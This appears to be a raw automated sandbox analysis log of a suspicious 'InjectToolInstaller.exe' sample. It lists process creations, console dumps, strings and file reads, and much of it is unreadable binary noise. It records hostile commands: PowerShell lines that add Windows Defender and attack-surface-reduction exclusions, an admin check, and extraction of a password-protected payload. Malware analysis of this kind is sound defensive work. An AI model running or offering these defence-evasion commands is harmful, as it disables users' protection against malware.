
Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\7zS48C4B291\runas.vbs"

Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................ . . . . . . . .1. .f.i.l.e.(.s.). .c.o.p.i.e.d.................0.......................6.................1.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................ . . . . . . . .1. .f.i.l.e.(.s.). .c.o.p.i.e.d.........[..s............................6.................1.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................ . . . . . . . .1. .f.i.l.e.(.s.). .c.o.p.i.e.d.........[..s............................6.................1.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................C.H.E.A.T. .E.N.G.I.N.E. .S.C.R.I.P.T. .R.U.N.N.E.R.............M.......................8....]..................	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................H.......(.P.....\.......d...............V/..............................................\....]..................	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................H.......(.P.....\.......d...............e/..............................................b....]..................	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................H.......(.P.....\.......d...............t/...................................................]..................	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................H.......(.P.....\.......d................/......................T............................]..................	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................H.......(.P.....\.......d................/...................................................]..................	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................H.......(.P.....\.......d................/..............................................b....]..................	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................H.......(.P.....\.......d................/..............................................b....]..................	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................H.......(.P.....\.......d................/......................B.......................V....]..................	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................H.......(.P.....\.......d................/...................................................]..................	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................H.......(.P.....\.......d................/...................................................]..................	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................H.......(.P.....\.......d................/...................................................]..................	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................H.......(.P.....\.......d................/...................................................]..................	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................H.......(.P.....\.......d................0...................................................]..................	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................H.......(.P.....\.......d................0......................#............................]..................	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................H.......(.P.....\.......d...............(0......................k............................]..................	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................H.......(.P.....\.......d...............70...................................................]..................	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................H.......(.P.....\.......d...............F0...................................................]..................	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................H.......(.P.....\.......d...............U0......................U............................]..................	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................H.......(.P.....\.......d...............d0..............................................z....]..................	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................H.......(.P.....\.......d...............s0...................................................]..................	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................H.......(.P.....\.......d................0......................N............................]..................	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................@4..............0..............._B.s....P$.s.... .........8.............................R.................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....L7..............6..s............................T.................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s.....:..............6..s............................V.................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s.....>..............6..s............................X.................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....:E..............6..s............................Z.................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....FG..............6..s............................\.................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s.....H..............6..s............................^.................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....'J..............6..s............................`.................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s.....K..............6..s............................b.................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s.....M..............6..s............................d.................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....cN..............6..s............................f.................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s.....O..............6..s............................h.................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....EQ..............6..s............................j.................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s.....R..............6..s............................l.................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s.....S..............6..s............................n.................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s.....T..............6..s............................p.................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s.....V..............6..s............................r.................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s.....W..............6..s............................t.................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....yY..............6..s............................v.................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s.....Z..............6..s............................x.................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s.....[..............6..s............................z.................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....z]..............6..s............................\|.................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s.....`..............6..s............................~.................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....3b..............6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s.....c..............6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s.....d..............6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s.....f..............6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s.....h..............6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s.....k..............6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s.....l..............6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s.....n..............6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s...."q..............6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....~r..............6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....qt..............6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s.....u..............6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s.....x..............6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s...._z..............6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s.....}..............6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....................6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....................6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....5...............6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....j...............6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....................6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....................6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s..../...............6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....8...............6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....................6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....................6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....................6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....................6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....................6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....T...............6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....................6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....................6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....b...............6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....6...............6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....................6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....]...............6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....................6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....................6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....p...............6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s...."...............6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....................6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....................6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....a...............6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....................6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....................6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....6...............6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....a...............6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....................6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....................6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....................6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....l...............6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....]...............6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....................6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....V...............6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....h...............6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....................6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....................6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....................6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....................6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ................................................................_B.s....R...............6..s..............................................8.....	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ..................d.....................(.P.....t.......................V5......................0...d.o.........h...............................
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ..................d.....................(.P.....t.......................\5......................0...d.o.................\.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................$........:.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................$........:.........................s..............(.............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................$........:.........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................$........:.........................s..............(.............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................$........:.........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................$........:.........................s..............(.............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................a.g.a.i.n.......................$........:.........................s..............(.............h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................$........;.........................s..............(.............h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.$........;.........................s..............(..... .......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................$.......);.........................s..............(.............h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................$.......;;.........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................$.......G;.........................s..............(.............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.....Y;.........................s..............(.....$.......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................$.......e;.........................s..............(.............h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................$.......w;.........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................$........;.........................s..............(.............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n..................s..............(.....2.......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................$........;.........................s..............(.............h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................$........;.........................s....................l.......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................$........;.........................s..............(.............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P.....................$........;.........................s..............(.............h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................$........;.........................s..............(.............h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................@.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................@.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................@.........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................@.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................@.........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................@.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................a.g.a.i.n................................@.........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................@.........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1..........A.........................s.................... .......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................A.........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P............................. A.........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................,A.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.....>A.........................s....................$.......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................JA.........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................]A.........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................iA.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n..................s....................2.......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................A.........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................A.........................s....................l.......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................A.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P..............................A.........................s............................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................A.........................s............................h...............

Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Command line argument: ;!@InstallEnd@!	0_2_013BEC4C
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Command line argument: Title	0_2_013BEC4C
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Command line argument: ExtractPathText	0_2_013BEC4C
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Command line argument: Directory	0_2_013BEC4C
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Command line argument: InstallPath	0_2_013BEC4C
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Command line argument: %%S	0_2_013BEC4C
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Command line argument: %%S	0_2_013BEC4C
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Command line argument: %%S	0_2_013BEC4C
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Command line argument: RunProgram	0_2_013BEC4C
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Command line argument: ExecuteFile	0_2_013BEC4C
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Command line argument: setup.exe	0_2_013BEC4C
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Command line argument: %%T\	0_2_013BEC4C
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Command line argument: %%T	0_2_013BEC4C
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Command line argument: ;!@InstallEnd@!	0_2_013BEC4C
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Command line argument: Title	0_2_013BEC4C
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Command line argument: ExtractPathText	0_2_013BEC4C
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Command line argument: Directory	0_2_013BEC4C
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Command line argument: InstallPath	0_2_013BEC4C
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Command line argument: %%S	0_2_013BEC4C
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Command line argument: %%S	0_2_013BEC4C
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Command line argument: %%S	0_2_013BEC4C
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Command line argument: RunProgram	0_2_013BEC4C
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Command line argument: ExecuteFile	0_2_013BEC4C
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Command line argument: setup.exe	0_2_013BEC4C
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Command line argument: %%T\	0_2_013BEC4C
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Command line argument: %%T	0_2_013BEC4C

Source: InjectToolInstaller.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\InjectToolInstaller.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\InjectToolInstaller.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: insta313tg.exe, insta313tg.exe, 00000030.00000002.604503591.000000000065F000.00000002.00000400.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: insta313tg.exe, 0000002A.00000002.470797690.0000000003C02000.00000004.00000800.00020000.00000000.sdmp, insta313tg.exe, 0000002A.00000002.470797690.00000000034EE000.00000004.00000800.00020000.00000000.sdmp, insta313tg.exe, 00000030.00000002.604503591.000000000065F000.00000002.00000400.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = sqlite_rename_table(sql, %Q), tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');

Source: insta313tg.exe

String found in binary or memory: https://www.maxmind.com/en/locate-my-ip-address

Source: C:\Users\user\Desktop\InjectToolInstaller.exe

File read: C:\Users\user\Desktop\InjectToolInstaller.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\InjectToolInstaller.exe "C:\Users\user\Desktop\InjectToolInstaller.exe"
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\7zS48C4B291\run.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\user\AppData\Local\Temp\installer.bat
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\user\AppData\Local\Temp\1.bat
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe NET FILE
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 FILE
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /C "C:\Users\user\AppData\Local\Temp\1.bat"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe NET FILE
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 FILE
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Users\user\Appdata\Local" -Force"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Add-MpPreference -AttackSurfaceReductionOnlyExclusions "C:\Users\user\Appdata\Local" -Force"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\data.exe C:\Users\user\AppData\Local\Temp\data.exe -p"hty6u57tfg" -d"C:\Users\user\AppData\Local\Temp\"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
